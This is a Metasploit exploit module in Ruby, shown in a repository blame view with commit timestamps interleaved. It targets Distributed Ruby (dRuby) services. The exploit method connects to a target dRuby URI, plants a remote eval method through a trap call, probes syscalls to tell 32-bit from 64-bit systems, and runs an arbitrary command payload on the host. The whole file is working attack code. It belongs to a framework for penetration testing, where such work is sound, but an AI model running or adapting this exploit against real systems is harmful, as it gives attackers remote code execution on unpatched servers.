Files
metasploit-gs/modules/exploits/linux/misc/drb_remote_codeexec.rb
T

69 lines
2.0 KiB
Ruby
Raw Normal View History

2016-12-23 15:12:22 +01:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'drb/drb'
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2013-08-30 16:28:54 -05:00
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
def initialize(info = {})
super(update_info(info,
2016-12-22 15:37:16 +01:00
'Name' => 'Distributed Ruby Remote Code Execution',
2013-08-30 16:28:54 -05:00
'Description' => %q{
2016-11-04 13:48:29 -05:00
This module exploits remote code execution vulnerabilities in dRuby.
2013-08-30 16:28:54 -05:00
},
'Author' => [ 'joernchen <joernchen[at]phenoelit.de>' ], #(Phenoelit)
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.ruby-doc.org/stdlib-1.9.3/libdoc/drb/rdoc/DRb.html' ],
2016-12-22 15:37:16 +01:00
[ 'URL', 'http://blog.recurity-labs.com/archives/2011/05/12/druby_for_penetration_testers/' ],
2016-12-28 06:10:46 -06:00
[ 'URL', 'http://bugkraut.de/posts/tainting' ]
2013-08-30 16:28:54 -05:00
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Space' => 32768,
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
2016-11-04 13:47:36 -05:00
'Targets' => [
2016-12-28 06:10:46 -06:00
['Automatic', {}],
2016-11-04 13:47:36 -05:00
],
2013-08-30 16:28:54 -05:00
'DisclosureDate' => 'Mar 23 2011',
'DefaultTarget' => 0))
2013-08-30 16:28:54 -05:00
register_options(
[
OptString.new('URI', [true, "The dRuby URI of the target host (druby://host:port)", ""]),
])
2013-08-30 16:28:54 -05:00
end
2013-08-30 16:28:54 -05:00
def exploit
serveruri = datastore['URI']
DRb.start_service
p = DRbObject.new_with_uri(serveruri)
class << p
undef :send
end
2016-11-04 13:54:26 -05:00
2016-12-22 15:37:16 +01:00
p.send(:trap, 23, :"class Object\ndef my_eval(str)\nsystem(str.untaint)\nend\nend")
# syscall to decide whether it's 64 or 32 bit:
# it's getpid on 32bit which will succeed, and writev on 64bit
# which will fail due to missing args
2013-08-30 16:28:54 -05:00
begin
2016-12-22 15:37:16 +01:00
pid = p.send(:syscall, 20)
p.send(:syscall, 37, pid, 23)
rescue Errno::EBADF
# 64 bit system
pid = p.send(:syscall, 39)
p.send(:syscall, 62, pid, 23)
2016-11-04 13:54:26 -05:00
end
2016-12-28 06:10:46 -06:00
p.send(:my_eval, payload.encoded)
2013-08-30 16:28:54 -05:00
end
end